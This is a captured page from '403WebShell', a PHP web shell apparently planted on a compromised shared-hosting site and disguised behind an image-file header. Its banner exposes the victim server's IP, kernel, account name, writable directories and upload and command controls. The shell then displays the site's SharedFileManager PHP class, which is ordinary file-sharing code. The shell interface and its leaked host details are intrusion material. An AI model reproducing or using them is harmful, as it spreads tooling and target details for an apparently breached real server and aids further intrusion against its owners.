����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.137.223.8
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/SharedFileManager.class.php
<?php

namespace App\Services\File_Manager;

use App\Core\Database;
use App\Models\FileFolder;
use App\Helpers\AuthHelper;
use App\Helpers\ThemeHelper;
use App\Helpers\TranslateHelper;

class SharedFileManager extends BaseFileManager
{

    public function getData() {
        // preload current user and DB
        $Auth = AuthHelper::getAuth();

        // prepare variables
        $foldersClauseReplacements = array();
        $filesClauseReplacements = array();
        
        // root level
        if ((int)$this->getParameter('nodeId') === 0) {
            // prepare the SQL clause for root level
            $foldersClause = 'WHERE file_folder.status = "active" '
                    . 'AND file_folder.id IN ('
                    . 'SELECT folder_id '
                    . 'FROM file_folder_share '
                    . 'LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id '
                    . 'LEFT JOIN file_folder ON file_folder_share_item.folder_id = file_folder.id '
                    . 'WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) '
                    . 'AND folder_id IS NOT NULL '
                    . 'AND (file_folder.parentId IS NULL OR file_folder.parentId NOT IN ('
                    . 'SELECT folder_id FROM file_folder_share LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) AND folder_id IS NOT NULL '
                    . '))'
                    . ')';
            $foldersClauseReplacements['user_id'] = $Auth->id;
            
            // files SQL
            $filesClause = 'WHERE file.status = "active" '
                    . 'AND file.id IN ('
                    . 'SELECT file_id '
                    . 'FROM file_folder_share '
                    . 'LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id '
                    . 'WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) '
                    . 'AND file_id IS NOT NULL '
                    . ')';
            $filesClauseReplacements['user_id'] = $Auth->id;
        }
        // folder level
        else {
            if ($this->currentFolder === null) {
                $this->currentFolder = FileFolder::loadOneById($this->getParameter('nodeId'));
            }
            if (!$this->currentFolder) {
                $this->throwException('Failed loading folder.');
            }
            
            // prepare the SQL clause for folder level
            $foldersClause = 'WHERE file_folder.status = "active" '
                . 'AND file_folder.id IN ('
                . 'SELECT folder_id '
                . 'FROM file_folder_share '
                . 'LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id '
                . 'LEFT JOIN file_folder ON file_folder_share_item.folder_id = file_folder.id '
                . 'WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) '
                . 'AND file_folder.parentId = :parent_id '
                . ')';
            $foldersClauseReplacements['user_id'] = $Auth->id;
            $foldersClauseReplacements['parent_id'] = $this->getParameter('nodeId');
            
            // files SQL - assuming any files which exist in shared folders can
            // be accessed
            $filesClause = 'WHERE file.status = "active" '
                    . 'AND file.folderId = :folder_id '
                    . 'AND file.folderId IN ('
                    . 'SELECT folder_id '
                    . 'FROM file_folder_share '
                    . 'LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id '
                    . 'LEFT JOIN file_folder ON file_folder_share_item.folder_id = file_folder.id '
                    . 'WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) '
                    . 'AND file_folder.id = :folder_id '
                    . ')';
            $filesClauseReplacements['user_id'] = $Auth->id;
            $filesClauseReplacements['folder_id'] = $this->getParameter('nodeId');
        }

        // load the folders data into the object
        $this->getFoldersData($foldersClause, $foldersClauseReplacements);
        
        // make sure we've set the session variables to allow access
        if(count($this->folders)) {
            foreach($this->folders AS $folder) {
                $_SESSION['sharekeyFolder' . $folder['id']] = true;
            }
        }

        // load the files data into the object
        $this->getFilesData($filesClause, $filesClauseReplacements);
        
        // make sure we've set the session variables to allow access
        if(count($this->files)) {
            foreach($this->files AS $file) {
                $_SESSION['sharekeyFile' . $file['id']] = true;
            }
        }
    }

    public function requiresLogin() {
        // allow logged in only users
        return true;
    }

    public function getRequiredPrechecks() {
        return false;
    }

    public function getPageTitle() {
        return TranslateHelper::t('shared_with_me', 'Shared With Me');
    }

    public function getPageUrl() {
        return ThemeHelper::getLoadedInstance()->getAccountWebRoot() . '/shared_with_me';
    }
    
    public function getNoResultsHtml() {
        $msg = TranslateHelper::t('no_shared_files_found', 'No files or folders have been shared with your account.');
        if ((int)$this->getParameter('nodeId') > 0) {
            $msg = TranslateHelper::t('no_files_found_in_folder', 'No files found within this folder.');
        }
        
        return '<div class="alert alert-warning"><i class="entypo-attention"></i> '
                . $msg
                . '</div>';
    }

    public function getBreadcrumbs() {
        // get base level first
        $breadcrumbs = $this->getBaseBreadcrumbs();

        // add on any custom breadcrumbs
        $breadcrumbs[] = '<a href="#" onClick="loadImages(\'' . $this->getPageType() . '\', \'\', 1); return false;" class="btn btn-white">' . $this->getPageTitle() . $this->getBreadcrumbTotalText() . '</a>';

        return $breadcrumbs;
    }

    public function getShareAccessLevel() {
        // get database
        $db = Database::getDatabase();
        $Auth = AuthHelper::getAuth();
        
        // load the access level based on folder id
        if($this->currentFolder !== null) {
            // prepare the SQL clause for folder level
            $accessLevel = $db->getValue('SELECT share_permission_level '
                . 'FROM file_folder_share '
                . 'LEFT JOIN file_folder_share_item ON file_folder_share.id = file_folder_share_item.file_folder_share_id '
                . 'WHERE (shared_with_user_id = :user_id OR (shared_with_user_id IS NULL AND is_global = 1)) '
                    . 'AND file_folder_share_item.folder_id = :folder_id', array(
                        'user_id' => $Auth->id,
                        'folder_id' => $this->currentFolder->id,
                    ));
            if($accessLevel) {
                return $accessLevel;
            }
        }
        
        return 'view';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit